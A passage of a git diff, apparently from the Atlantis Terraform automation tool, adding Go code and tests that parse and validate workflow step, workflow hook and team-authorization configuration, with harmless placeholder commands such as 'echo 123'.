k != ExtraArgsKey { + return fmt.Errorf("built-in steps only support a single %s key, found %q in step %s", + ExtraArgsKey, k, stepName) + } + } + } + return nil + } + + envOrRunOrMultiEnvStep := func(value interface{}) error { + elem := value.(map[string]map[string]interface{}) + var keys []string + for k := range elem { + keys = append(keys, k) + } + // Sort so tests can be deterministic. + sort.Strings(keys) + + if len(keys) > 1 { + return fmt.Errorf("step element can only contain a single key, found %d: %s", + len(keys), strings.Join(keys, ",")) + } + if len(keys) == 0 { + return fmt.Errorf("step element must contain at least 1 key") + } + + stepName := keys[0] + args := elem[keys[0]] + + var argKeys []string + for k := range args { + argKeys = append(argKeys, k) + } + argMap := make(map[string]interface{}) + for k, v := range args { + argMap[k] = v + } + // Sort so tests can be deterministic. + sort.Strings(argKeys) + + // Validate keys common for all the steps. + if utils.SlicesContains(argKeys, ShellArgKey) && !utils.SlicesContains(argKeys, CommandArgKey) { + return fmt.Errorf("workflow steps only support %q key in combination with %q key", + ShellArgKey, CommandArgKey) + } + if utils.SlicesContains(argKeys, ShellArgsArgKey) && !utils.SlicesContains(argKeys, ShellArgKey) { + return fmt.Errorf("workflow steps only support %q key in combination with %q key", + ShellArgsArgKey, ShellArgKey) + } + + switch t := argMap[ShellArgsArgKey].(type) { + case nil: + case string: + case []interface{}: + for _, e := range t { + if _, ok := e.(string); !ok { + return fmt.Errorf("%q step %q option must contain only strings, found %v\n", + stepName, ShellArgsArgKey, e) + } + } + default: + return fmt.Errorf("%q step %q option must be a string or a list of strings, found %v\n", + stepName, ShellArgsArgKey, t) + } + delete(argMap, ShellArgsArgKey) + delete(argMap, ShellArgKey) + + // Validate keys per step type. + switch stepName { + case EnvStepName: + foundNameKey := false + for _, k := range argKeys { + if k != NameArgKey && k != CommandArgKey && k != ValueArgKey && k != ShellArgKey && k != ShellArgsArgKey { + return fmt.Errorf("env steps only support keys %q, %q, %q, %q and %q, found key %q", + NameArgKey, ValueArgKey, CommandArgKey, ShellArgKey, ShellArgsArgKey, k) + } + if k == NameArgKey { + foundNameKey = true + } + } + delete(argMap, CommandArgKey) + if !foundNameKey { + return fmt.Errorf("env steps must have a %q key set", NameArgKey) + } + delete(argMap, NameArgKey) + if utils.SlicesContains(argKeys, ValueArgKey) && utils.SlicesContains(argKeys, CommandArgKey) { + return fmt.Errorf("env steps only support one of the %q or %q keys, found both", + ValueArgKey, CommandArgKey) + } + delete(argMap, ValueArgKey) + case RunStepName, MultiEnvStepName: + if _, ok := argMap[CommandArgKey].(string); !ok { + return fmt.Errorf("%q step must have a %q key set", stepName, CommandArgKey) + } + delete(argMap, CommandArgKey) + if v, ok := argMap[OutputArgKey].(string); ok { + if stepName == RunStepName && !(v == valid.PostProcessRunOutputShow || + v == valid.PostProcessRunOutputHide || v == valid.PostProcessRunOutputStripRefreshing) { + return fmt.Errorf("run step %q option must be one of %q, %q, or %q", + OutputArgKey, valid.PostProcessRunOutputShow, valid.PostProcessRunOutputHide, + valid.PostProcessRunOutputStripRefreshing) + } else if stepName == MultiEnvStepName && !(v == valid.PostProcessRunOutputShow || + v == valid.PostProcessRunOutputHide) { + return fmt.Errorf("multienv step %q option must be %q or %q", + OutputArgKey, valid.PostProcessRunOutputShow, valid.PostProcessRunOutputHide) + } + } + delete(argMap, OutputArgKey) + default: + return fmt.Errorf("%q is not a valid step type", stepName) + } + + if len(argMap) > 0 { + var argKeys []string + for k := range argMap { + argKeys = append(argKeys, k) + } + // Sort so tests can be deterministic. + sort.Strings(argKeys) + return fmt.Errorf("%q steps only support keys %q, %q, %q and %q, found extra keys %q", + stepName, CommandArgKey, OutputArgKey, ShellArgKey, ShellArgsArgKey, strings.Join(argKeys, ",")) + } + + return nil + } + + runOrMultiEnvStep := func(value interface{}) error { + elem := value.(map[string]string) + var keys []string + for k := range elem { + keys = append(keys, k) + } + // Sort so tests can be deterministic. + sort.Strings(keys) + + if len(keys) > 1 { + return fmt.Errorf("step element can only contain a single key, found %d: %s", + len(keys), strings.Join(keys, ",")) + } + for stepName := range elem { + if !(stepName == RunStepName || stepName == MultiEnvStepName) { + return fmt.Errorf("%q is not a valid step type", stepName) + } + } + return nil + } + + if s.Key != nil { + return validation.Validate(s.Key, validation.By(validStep)) + } + if len(s.Map) > 0 { + return validation.Validate(s.Map, validation.By(extraArgs)) + } + if len(s.CommandMap) > 0 { + return validation.Validate(s.CommandMap, validation.By(envOrRunOrMultiEnvStep)) + } + if len(s.StringVal) > 0 { + return validation.Validate(s.StringVal, validation.By(runOrMultiEnvStep)) + } + return errors.New("step element is empty") +} + +func (s Step) ToValid() valid.Step { + // This will trigger in case #1 (see Step docs). + if s.Key != nil { + return valid.Step{ + StepName: *s.Key, + } + } + + // This will trigger in case #2 (see Step docs). + if len(s.CommandMap) > 0 { + // After validation we assume there's only one key and it's a valid + // step name so we just use the first one. + for stepName, stepArgs := range s.CommandMap { + step := valid.Step{StepName: stepName} + if name, ok := stepArgs[NameArgKey].(string); ok { + step.EnvVarName = name + } + if command, ok := stepArgs[CommandArgKey].(string); ok { + step.RunCommand = command + } + if value, ok := stepArgs[ValueArgKey].(string); ok { + step.EnvVarValue = value + } + if output, ok := stepArgs[OutputArgKey].(string); ok { + step.Output = valid.PostProcessRunOutputOption(output) + } + if shell, ok := stepArgs[ShellArgKey].(string); ok { + step.RunShell = &valid.CommandShell{ + Shell: shell, + ShellArgs: []string{"-c"}, + } + } + if step.StepName == RunStepName && step.Output == "" { + step.Output = valid.PostProcessRunOutputShow + } + + switch t := stepArgs[ShellArgsArgKey].(type) { + case nil: + case string: + step.RunShell.ShellArgs = strings.Split(t, " ") + case []interface{}: + step.RunShell.ShellArgs = []string{} + for _, e := range t { + step.RunShell.ShellArgs = append(step.RunShell.ShellArgs, e.(string)) + } + } + + return step + } + } + + // This will trigger in case #3 (see Step docs). + if len(s.Map) > 0 { + // After validation we assume there's only one key and it's a valid + // step name so we just use the first one. + for stepName, stepArgs := range s.Map { + return valid.Step{ + StepName: stepName, + ExtraArgs: stepArgs[ExtraArgsKey], + } + } + } + + // This will trigger in case #4 (see Step docs). + if len(s.StringVal) > 0 { + // After validation we assume there's only one key and it's a valid + // step name so we just use the first one. + for stepName, v := range s.StringVal { + return valid.Step{ + StepName: stepName, + RunCommand: v, + } + } + } + + panic("step was not valid. This is a bug!") +} + +// unmarshalGeneric is used by UnmarshalJSON and UnmarshalYAML to unmarshal +// a step into one of its three forms. We need to implement a custom unmarshal +// function because steps can either be: +// 1. a built-in step: " - init" +// 2. a built-in step with extra_args: " - init: {extra_args: [arg1] }" +// 3. a custom run step: " - run: my custom command" +// It takes a parameter unmarshal that is a function that tries to unmarshal +// the current element into a given object. +func (s *Step) unmarshalGeneric(unmarshal func(interface{}) error) error { + + // First try to unmarshal as a single string, ex. + // steps: + // - init + // - plan + // We validate if it's a legal string later. + var singleString string + err := unmarshal(&singleString) + if err == nil { + s.Key = &singleString + return nil + } + + // Try to unmarshal as a custom run step, ex. + // steps: + // - run: my command + // We validate if the key is run later. + var runStep map[string]string + err = unmarshal(&runStep) + if err == nil { + s.StringVal = runStep + return nil + } + + // This represents a step with extra_args, ex: + // init: + // extra_args: [a, b] + // We validate if there's a single key in the map and if the value is a + // legal value later. + var step map[string]map[string][]string + err = unmarshal(&step) + if err == nil { + s.Map = step + return nil + } + + // This represents a command steps env, run, and multienv, ex: + // steps: + // - env: + // name: k + // command: exec + // - run: + // name: test_bash_command + // command: echo ${test_value::7} + // shell: bash + // shellArgs: ["--verbose", "-c"] + var commandStep map[string]map[string]interface{} + err = unmarshal(&commandStep) + if err == nil { + s.CommandMap = commandStep + return nil + } + + return err +} + +func (s Step) marshalGeneric() (interface{}, error) { + if len(s.StringVal) != 0 { + return s.StringVal, nil + } else if len(s.Map) != 0 { + return s.Map, nil + } else if len(s.CommandMap) != 0 { + return s.CommandMap, nil + } else if s.Key != nil { + return s.Key, nil + } + + // empty step should be marshalled to null, although this is generally + // unexpected behavior. + return nil, nil +} diff --git a/server/core/config/raw/step_test.go b/server/core/config/raw/step_test.go new file mode 100644 index 0000000000..c7373ad142 --- /dev/null +++ b/server/core/config/raw/step_test.go @@ -0,0 +1,709 @@ +package raw_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" + yaml "gopkg.in/yaml.v3" +) + +func TestStepConfig_YAMLMarshalling(t *testing.T) { + cases := []struct { + description string + input string + exp raw.Step + expErr string + }{ + + // Single string. + { + description: "single string", + input: `astring`, + exp: raw.Step{ + Key: String("astring"), + }, + }, + + // MapType i.e. extra_args style. + { + description: "extra_args style", + input: ` +key: + mapValue: [arg1, arg2]`, + exp: raw.Step{ + Map: MapType{ + "key": { + "mapValue": {"arg1", "arg2"}, + }, + }, + }, + }, + { + description: "extra_args style multiple keys", + input: ` +key: + mapValue: [arg1, arg2] + value2: []`, + exp: raw.Step{ + Map: MapType{ + "key": { + "mapValue": {"arg1", "arg2"}, + "value2": {}, + }, + }, + }, + }, + { + description: "extra_args style multiple top-level keys", + input: ` +key: + val1: [] +key2: + val2: []`, + exp: raw.Step{ + Map: MapType{ + "key": { + "val1": {}, + }, + "key2": { + "val2": {}, + }, + }, + }, + }, + // Env steps + { + description: "env step value", + input: ` +env: + value: direct_value + name: test`, + exp: raw.Step{ + CommandMap: EnvType{ + "env": { + "value": "direct_value", + "name": "test", + }, + }, + }, + }, + { + description: "env step command", + input: ` +env: + command: echo 123 + name: test`, + exp: raw.Step{ + CommandMap: EnvType{ + "env": { + "command": "echo 123", + "name": "test", + }, + }, + }, + }, + + // Run-step style + { + description: "run step", + input: ` +run: my command`, + exp: raw.Step{ + StringVal: map[string]string{ + "run": "my command", + }, + }, + }, + { + description: "run step multiple top-level keys", + input: ` +run: my command +key: value`, + exp: raw.Step{ + StringVal: map[string]string{ + "run": "my command", + "key": "value", + }, + }, + }, + + // Empty + { + description: "empty", + input: "", + exp: raw.Step{ + Key: nil, + Map: nil, + StringVal: nil, + CommandMap: nil, + }, + }, + + // Errors + { + description: "extra args style no map strings", + input: ` +key: + - value: + another: map`, + expErr: "yaml: unmarshal errors:\n line 3: cannot unmarshal !!seq into map[string]interface {}", + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + var got raw.Step + err := unmarshalString(c.input, &got) + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + Ok(t, err) + Equals(t, c.exp, got) + + _, err = yaml.Marshal(got) + Ok(t, err) + + var got2 raw.Step + err = unmarshalString(c.input, &got2) + Ok(t, err) + Equals(t, got2, got) + }) + } +} + +func TestStep_Validate(t *testing.T) { + cases := []struct { + description string + input raw.Step + expErr string + }{ + // Valid inputs. + { + description: "init step", + input: raw.Step{ + Key: String("init"), + }, + expErr: "", + }, + { + description: "plan step", + input: raw.Step{ + Key: String("plan"), + }, + expErr: "", + }, + { + description: "apply step", + input: raw.Step{ + Key: String("apply"), + }, + expErr: "", + }, + { + description: "init extra_args", + input: raw.Step{ + Map: MapType{ + "init": { + "extra_args": []string{"arg1", "arg2"}, + }, + }, + }, + expErr: "", + }, + { + description: "plan extra_args", + input: raw.Step{ + Map: MapType{ + "plan": { + "extra_args": []string{"arg1", "arg2"}, + }, + }, + }, + expErr: "", + }, + { + description: "env", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "name": "test", + "command": "echo 123", + }, + }, + }, + expErr: "", + }, + { + description: "env shell", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "name": "test", + "command": "echo 123", + "shell": "bash", + }, + }, + }, + expErr: "", + }, + { + description: "env shellArgs string", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "name": "test", + "command": "echo 123", + "shell": "bash", + "shellArgs": "-c", + }, + }, + }, + expErr: "", + }, + { + description: "env shellArgs list of strings", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "name": "test", + "command": "echo 123", + "shell": "bash", + "shellArgs": []interface{}{"-c", "--debug"}, + }, + }, + }, + expErr: "", + }, + { + description: "apply extra_args", + input: raw.Step{ + Map: MapType{ + "apply": { + "extra_args": []string{"arg1", "arg2"}, + }, + }, + }, + expErr: "", + }, + { + description: "run step", + input: raw.Step{ + StringVal: map[string]string{ + "run": "my command", + }, + }, + expErr: "", + }, + + // Invalid inputs. + { + description: "empty elem", + input: raw.Step{}, + expErr: "step element is empty", + }, + { + description: "invalid step name", + input: raw.Step{ + Key: String("invalid"), + }, + expErr: "\"invalid\" is not a valid step type, maybe you omitted the 'run' key", + }, + { + description: "multiple keys in map", + input: raw.Step{ + Map: MapType{ + "key1": nil, + "key2": nil, + }, + }, + expErr: "step element can only contain a single key, found 2: key1,key2", + }, + { + description: "multiple keys in env", + input: raw.Step{ + CommandMap: EnvType{ + "key1": nil, + "key2": nil, + }, + }, + expErr: "step element can only contain a single key, found 2: key1,key2", + }, + { + description: "multiple keys in string val", + input: raw.Step{ + StringVal: map[string]string{ + "key1": "", + "key2": "", + }, + }, + expErr: "step element can only contain a single key, found 2: key1,key2", + }, + { + description: "invalid key in map", + input: raw.Step{ + Map: MapType{ + "invalid": nil, + }, + }, + expErr: "\"invalid\" is not a valid step type", + }, + { + description: "invalid key in env", + input: raw.Step{ + CommandMap: EnvType{ + "invalid": nil, + }, + }, + expErr: "\"invalid\" is not a valid step type", + }, + { + description: "invalid key in string val", + input: raw.Step{ + StringVal: map[string]string{ + "invalid": "", + }, + }, + expErr: "\"invalid\" is not a valid step type", + }, + { + description: "non extra_arg key", + input: raw.Step{ + Map: MapType{ + "init": { + "invalid": nil, + }, + }, + }, + expErr: "built-in steps only support a single extra_args key, found \"invalid\" in step init", + }, + { + description: "non extra_arg key", + input: raw.Step{ + Map: MapType{ + "init": { + "invalid": nil, + "zzzzzzz": nil, + }, + }, + }, + expErr: "built-in steps only support a single extra_args key, found 2: invalid,zzzzzzz", + }, + { + description: "env step with no name key set", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "value": "value", + }, + }, + }, + expErr: "env steps must have a \"name\" key set", + }, + { + description: "env step with invalid key", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "abc": "", + "invalid2": "", + }, + }, + }, + expErr: "env steps only support keys \"name\", \"value\", \"command\", \"shell\" and \"shellArgs\", found key \"abc\"", + }, + { + description: "env step with both command and value set", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "name": "name", + "command": "command", + "value": "value", + }, + }, + }, + expErr: "env steps only support one of the \"value\" or \"command\" keys, found both", + }, + { + description: "env step with shell set but not command", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "name": "name", + "shell": "bash", + }, + }, + }, + expErr: "workflow steps only support \"shell\" key in combination with \"command\" key", + }, + { + description: "env step with shellArgs set but not shell", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "name": "name", + "shellArgs": "-c", + }, + }, + }, + expErr: "workflow steps only support \"shellArgs\" key in combination with \"shell\" key", + }, + { + description: "run step with shellArgs is not list of strings", + input: raw.Step{ + CommandMap: EnvType{ + "run": { + "name": "name", + "command": "echo", + "shell": "shell", + "shellArgs": []int{42, 42}, + }, + }, + }, + expErr: "\"run\" step \"shellArgs\" option must be a string or a list of strings, found [42 42]\n", + }, + { + description: "run step with shellArgs contain not strings", + input: raw.Step{ + CommandMap: EnvType{ + "run": { + "name": "name", + "command": "echo", + "shell": "shell", + "shellArgs": []interface{}{"-c", 42}, + }, + }, + }, + expErr: "\"run\" step \"shellArgs\" option must contain only strings, found 42\n", + }, + { + // For atlantis.yaml v2, this wouldn't parse, but now there should + // be no error. + description: "unparsable shell command", + input: raw.Step{ + StringVal: map[string]string{ + "run": "my 'c", + }, + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + err := c.input.Validate() + if c.expErr == "" { + Ok(t, err) + return + } + ErrEquals(t, c.expErr, err) + }) + } +} + +func TestStep_ToValid(t *testing.T) { + cases := []struct { + description string + input raw.Step + exp valid.Step + }{ + { + description: "init step", + input: raw.Step{ + Key: String("init"), + }, + exp: valid.Step{ + StepName: "init", + }, + }, + { + description: "plan step", + input: raw.Step{ + Key: String("plan"), + }, + exp: valid.Step{ + StepName: "plan", + }, + }, + { + description: "policy_check step", + input: raw.Step{ + Key: String("policy_check"), + }, + exp: valid.Step{ + StepName: "policy_check", + }, + }, + { + description: "apply step", + input: raw.Step{ + Key: String("apply"), + }, + exp: valid.Step{ + StepName: "apply", + }, + }, + { + description: "env step", + input: raw.Step{ + CommandMap: EnvType{ + "env": { + "name": "test", + "command": "echo 123", + }, + }, + }, + exp: valid.Step{ + StepName: "env", + RunCommand: "echo 123", + EnvVarName: "test", + }, + }, + { + description: "import step", + input: raw.Step{ + Key: String("import"), + }, + exp: valid.Step{ + StepName: "import", + }, + }, + { + description: "init extra_args", + input: raw.Step{ + Map: MapType{ + "init": { + "extra_args": []string{"arg1", "arg2"}, + }, + }, + }, + exp: valid.Step{ + StepName: "init", + ExtraArgs: []string{"arg1", "arg2"}, + }, + }, + { + description: "plan extra_args", + input: raw.Step{ + Map: MapType{ + "plan": { + "extra_args": []string{"arg1", "arg2"}, + }, + }, + }, + exp: valid.Step{ + StepName: "plan", + ExtraArgs: []string{"arg1", "arg2"}, + }, + }, + { + description: "policy_check extra_args", + input: raw.Step{ + Map: MapType{ + "policy_check": { + "extra_args": []string{"arg1", "arg2"}, + }, + }, + }, + exp: valid.Step{ + StepName: "policy_check", + ExtraArgs: []string{"arg1", "arg2"}, + }, + }, + { + description: "apply extra_args", + input: raw.Step{ + Map: MapType{ + "apply": { + "extra_args": []string{"arg1", "arg2"}, + }, + }, + }, + exp: valid.Step{ + StepName: "apply", + ExtraArgs: []string{"arg1", "arg2"}, + }, + }, + { + description: "import extra_args", + input: raw.Step{ + Map: MapType{ + "import": { + "extra_args": []string{"arg1", "arg2"}, + }, + }, + }, + exp: valid.Step{ + StepName: "import", + ExtraArgs: []string{"arg1", "arg2"}, + }, + }, + { + description: "run step", + input: raw.Step{ + StringVal: map[string]string{ + "run": "my 'run command'", + }, + }, + exp: valid.Step{ + StepName: "run", + RunCommand: "my 'run command'", + }, + }, + { + description: "run step with output", + input: raw.Step{ + CommandMap: RunType{ + "run": { + "command": "my 'run command'", + "output": "hide", + }, + }, + }, + exp: valid.Step{ + StepName: "run", + RunCommand: "my 'run command'", + Output: "hide", + }, + }, + { + description: "multienv step", + input: raw.Step{ + StringVal: map[string]string{ + "multienv": "envs.sh", + }, + }, + exp: valid.Step{ + StepName: "multienv", + RunCommand: "envs.sh", + }, + }, + { + description: "multienv step with output", + input: raw.Step{ + CommandMap: MultiEnvType{ + "multienv": { + "command": "envs.sh", + "output": "hide", + }, + }, + }, + exp: valid.Step{ + StepName: "multienv", + RunCommand: "envs.sh", + Output: "hide", + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + Equals(t, c.exp, c.input.ToValid()) + }) + } +} + +type MapType map[string]map[string][]string +type EnvType map[string]map[string]interface{} +type RunType map[string]map[string]interface{} +type MultiEnvType map[string]map[string]interface{} diff --git a/server/core/config/raw/team_authz.go b/server/core/config/raw/team_authz.go new file mode 100644 index 0000000000..6149afa1a9 --- /dev/null +++ b/server/core/config/raw/team_authz.go @@ -0,0 +1,19 @@ +package raw + +import "github.com/runatlantis/atlantis/server/core/config/valid" + +type TeamAuthz struct { + Command string `yaml:"command" json:"command"` + Args []string `yaml:"args" json:"args"` +} + +func (t *TeamAuthz) ToValid() valid.TeamAuthz { + var v valid.TeamAuthz + v.Command = t.Command + v.Args = make([]string, 0) + if t.Args != nil { + v.Args = append(v.Args, t.Args...) + } + + return v +} diff --git a/server/core/config/raw/workflow.go b/server/core/config/raw/workflow.go new file mode 100644 index 0000000000..82bfbe8a22 --- /dev/null +++ b/server/core/config/raw/workflow.go @@ -0,0 +1,46 @@ +package raw + +import ( + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/valid" +) + +type Workflow struct { + Apply *Stage `yaml:"apply,omitempty" json:"apply,omitempty"` + Plan *Stage `yaml:"plan,omitempty" json:"plan,omitempty"` + PolicyCheck *Stage `yaml:"policy_check,omitempty" json:"policy_check,omitempty"` + Import *Stage `yaml:"import,omitempty" json:"import,omitempty"` + StateRm *Stage `yaml:"state_rm,omitempty" json:"state_rm,omitempty"` +} + +func (w Workflow) Validate() error { + return validation.ValidateStruct(&w, + validation.Field(&w.Apply), + validation.Field(&w.Plan), + validation.Field(&w.PolicyCheck), + validation.Field(&w.Import), + validation.Field(&w.StateRm), + ) +} + +func (w Workflow) toValidStage(stage *Stage, defaultStage valid.Stage) valid.Stage { + if stage == nil || stage.Steps == nil { + return defaultStage + } + + return stage.ToValid() +} + +func (w Workflow) ToValid(name string) valid.Workflow { + v := valid.Workflow{ + Name: name, + } + + v.Apply = w.toValidStage(w.Apply, valid.DefaultApplyStage) + v.Plan = w.toValidStage(w.Plan, valid.DefaultPlanStage) + v.PolicyCheck = w.toValidStage(w.PolicyCheck, valid.DefaultPolicyCheckStage) + v.Import = w.toValidStage(w.Import, valid.DefaultImportStage) + v.StateRm = w.toValidStage(w.StateRm, valid.DefaultStateRmStage) + + return v +} diff --git a/server/core/config/raw/workflow_step.go b/server/core/config/raw/workflow_step.go new file mode 100644 index 0000000000..3a6411136e --- /dev/null +++ b/server/core/config/raw/workflow_step.go @@ -0,0 +1,115 @@ +package raw + +import ( + "encoding/json" + "errors" + "fmt" + "sort" + "strings" + + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/valid" +) + +// WorkflowHook represents a single action/command to perform. In YAML, +// it can be set as +// A map for a custom run commands: +// - run: my custom command +type WorkflowHook struct { + StringVal map[string]string +} + +func (s *WorkflowHook) UnmarshalYAML(unmarshal func(interface{}) error) error { + return s.unmarshalGeneric(unmarshal) +} + +func (s WorkflowHook) MarshalYAML() (interface{}, error) { + return s.marshalGeneric() +} + +func (s *WorkflowHook) UnmarshalJSON(data []byte) error { + return s.unmarshalGeneric(func(i interface{}) error { + return json.Unmarshal(data, i) + }) +} + +func (s *WorkflowHook) MarshalJSON() ([]byte, error) { + out, err := s.marshalGeneric() + if err != nil { + return nil, err + } + return json.Marshal(out) +} + +func (s WorkflowHook) Validate() error { + runStep := func(value interface{}) error { + elem := value.(map[string]string) + var keys []string + for k := range elem { + keys = append(keys, k) + } + // Sort so tests can be deterministic. + sort.Strings(keys) + + if len(keys) > 1 { + return fmt.Errorf("step element can only contain a single key, found %d: %s", + len(keys), strings.Join(keys, ",")) + } + for stepName := range elem { + if stepName != RunStepName { + return fmt.Errorf("%q is not a valid step type", stepName) + } + } + return nil + } + + if len(s.StringVal) > 0 { + return validation.Validate(s.StringVal, validation.By(runStep)) + } + return errors.New("step element is empty") +} + +func (s WorkflowHook) ToValid() *valid.WorkflowHook { + // This will trigger in case #4 (see WorkflowHook docs). + if len(s.StringVal) > 0 { + return &valid.WorkflowHook{ + StepName: RunStepName, + RunCommand: s.StringVal["run"], + StepDescription: s.StringVal["description"], + Shell: s.StringVal["shell"], + ShellArgs: s.StringVal["shellArgs"], + Commands: s.StringVal["commands"], + } + } + + panic("step was not valid. This is a bug!") +} + +// unmarshalGeneric is used by UnmarshalJSON and UnmarshalYAML to unmarshal +// a step a custom run step: " - run: my custom command" +// It takes a parameter unmarshal that is a function that tries to unmarshal +// the current element into a given object. +func (s *WorkflowHook) unmarshalGeneric(unmarshal func(interface{}) error) error { + // Try to unmarshal as a custom run step, ex. + // repo_config: + // - run: my command + // We validate if the key is run later. + var runStep map[string]string + err := unmarshal(&runStep) + if err == nil { + s.StringVal = runStep + return nil + } + + return err +} + +func (s WorkflowHook) marshalGeneric() (interface{}, error) { + if len(s.StringVal) != 0 { + return s.StringVal, nil + } + + // empty step should be marshalled to null, although this is generally + // unexpected behavior. + return nil, nil +} diff --git a/server/core/config/raw/workflow_step_test.go b/server/core/config/raw/workflow_step_test.go new file mode 100644 index 0000000000..60b6f1552b --- /dev/null +++ b/server/core/config/raw/workflow_step_test.go @@ -0,0 +1,147 @@ +package raw_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" + yaml "gopkg.in/yaml.v3" +) + +func TestWorkflowHook_YAMLMarshalling(t *testing.T) { + cases := []struct { + description string + input string + exp raw.WorkflowHook + expErr string + }{ + // Run-step style + { + description: "run step", + input: ` +run: my command`, + exp: raw.WorkflowHook{ + StringVal: map[string]string{ + "run": "my command", + }, + }, + }, + { + description: "run step multiple top-level keys", + input: ` +run: my command +key: value`, + exp: raw.WorkflowHook{ + StringVal: map[string]string{ + "run": "my command", + "key": "value", + }, + }, + }, + + // Errors + { + description: "extra args style no slice strings", + input: ` +key: + value: + another: map`, + expErr: "yaml: unmarshal errors:\n line 3: cannot unmarshal !!map into string", + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + var got raw.WorkflowHook + err := unmarshalString(c.input, &got) + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + Ok(t, err) + Equals(t, c.exp, got) + + _, err = yaml.Marshal(got) + Ok(t, err) + + var got2 raw.WorkflowHook + err = unmarshalString(c.input, &got2) + Ok(t, err) + Equals(t, got2, got) + }) + } +} + +func TestGlobalConfigStep_Validate(t *testing.T) { + cases := []struct { + description string + input raw.WorkflowHook + expErr string + }{ + { + description: "run step", + input: raw.WorkflowHook{ + StringVal: map[string]string{ + "run": "my command", + }, + }, + expErr: "", + }, + { + description: "invalid key in string val", + input: raw.WorkflowHook{ + StringVal: map[string]string{ + "invalid": "", + }, + }, + expErr: "\"invalid\" is not a valid step type", + }, + { + // For atlantis.yaml v2, this wouldn't parse, but now there should + // be no error. + description: "unparsable shell command", + input: raw.WorkflowHook{ + StringVal: map[string]string{ + "run": "my 'c", + }, + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + err := c.input.Validate() + if c.expErr == "" { + Ok(t, err) + return + } + ErrEquals(t, c.expErr, err) + }) + } +} + +func TestWorkflowHook_ToValid(t *testing.T) { + cases := []struct { + description string + input raw.WorkflowHook + exp *valid.WorkflowHook + }{ + { + description: "run step", + input: raw.WorkflowHook{ + StringVal: map[string]string{ + "run": "my 'run command'", + }, + }, + exp: &valid.WorkflowHook{ + StepName: "run", + RunCommand: "my 'run command'", + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + Equals(t, c.exp, c.input.ToValid()) + }) + } +} diff --git a/server/core/config/raw/workflow_test.go b/server/core/config/raw/workflow_test.go new file mode 100644 index 0000000000..e71fd30ff1 --- /dev/null +++ b/server/core/config/raw/workflow_test.go @@ -0,0 +1,238 @@ +package raw_test + +import ( + "testing" + + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" +) + +func TestWorkflow_UnmarshalYAML(t *testing.T) { + cases := []struct { + description string + input string + exp raw.Workflow + expErr string + }{ + { + description: "empty", + input: ``, + exp: raw.Workflow{ + Apply: nil, + PolicyCheck: nil, + Plan: nil, + }, + }, + { + description: "yaml null", + input: `~`, + exp: raw.Workflow{ + Apply: nil, + PolicyCheck: nil, + Plan: nil, + }, + }, + { + description: "only plan/apply set", + input: ` +plan: +apply: +`, + exp: raw.Workflow{ + Apply: nil, + Plan: nil, + }, + }, + { + description: "only plan/policy_check/apply set", + input: ` +plan: +policy_check: +apply: +`, + exp: raw.Workflow{ + Apply: nil, + PolicyCheck: nil, + Plan: nil, + }, + }, + { + description: "steps set to null", + input: ` +plan: + steps: ~ +policy_check: + steps: ~ +apply: + steps: ~`, + exp: raw.Workflow{ + Plan: &raw.Stage{ + Steps: nil, + }, + PolicyCheck: &raw.Stage{ + Steps: nil, + }, + Apply: &raw.Stage{ + Steps: nil, + }, + }, + }, + { + description: "steps set to empty slice", + input: ` +plan: + steps: [] +policy_check: + steps: [] +apply: + steps: []`, + exp: raw.Workflow{ + Plan: &raw.Stage{ + Steps: []raw.Step{}, + }, + PolicyCheck: &raw.Stage{ + Steps: []raw.Step{}, + }, + Apply: &raw.Stage{ + Steps: []raw.Step{}, + }, + }, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + var w raw.Workflow + err := unmarshalString(c.input, &w) + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + Ok(t, err) + Equals(t, c.exp, w) + }) + } +} + +func TestWorkflow_Validate(t *testing.T) { + // Should call the validate of Stage. + w := raw.Workflow{ + Apply: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("invalid"), + }, + }, + }, + } + validation.ErrorTag = "yaml" + ErrEquals(t, "apply: (steps: (0: \"invalid\" is not a valid step type, maybe you omitted the 'run' key.).).", w.Validate()) + + // Unset keys should validate. + Ok(t, (raw.Workflow{}).Validate()) +} + +func TestWorkflow_ToValid(t *testing.T) { + cases := []struct { + description string + input raw.Workflow + exp valid.Workflow + }{ + { + description: "nothing set", + input: raw.Workflow{}, + exp: valid.Workflow{ + Apply: valid.DefaultApplyStage, + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + }, + }, + { + description: "fields set", + input: raw.Workflow{ + Apply: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("init"), + }, + }, + }, + PolicyCheck: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("policy_check"), + }, + }, + }, + Plan: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("init"), + }, + }, + }, + Import: &raw.Stage{ + Steps: []raw.Step{ + { + 